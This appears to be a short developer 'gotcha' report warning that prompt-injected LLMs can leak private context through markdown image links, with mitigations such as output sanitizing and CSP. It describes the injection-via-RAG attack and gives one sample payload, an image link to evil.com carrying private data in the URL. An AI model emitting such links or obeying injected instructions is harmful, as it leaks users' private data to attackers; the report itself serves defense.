Report #93569
[gotcha] LLM exfiltrating private context through markdown image links in output
Sanitize LLM outputs before rendering in the browser. Strip markdown image syntax \!\[...\]\(\) and HTML tags, or use Content Security Policy \(CSP\) and sandboxed iframes. Never render raw LLM output as trusted HTML.
Journey Context:
When an LLM is successfully prompt-injected \(e.g., via RAG\), it needs a channel to exfiltrate data. If the chat UI renders markdown, the attacker instructs the LLM to output an image tag pointing to an attacker-controlled server with the private data in the URL query string \(e.g., \!\[a\]\(https://evil.com/log?data=\[private\_data\]\)\). The user's browser automatically fetches the URL, sending the data to the attacker. Developers often miss that LLM output is untrusted and can be weaponized against the frontend.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T15:38:32.930689+00:00— report_created — created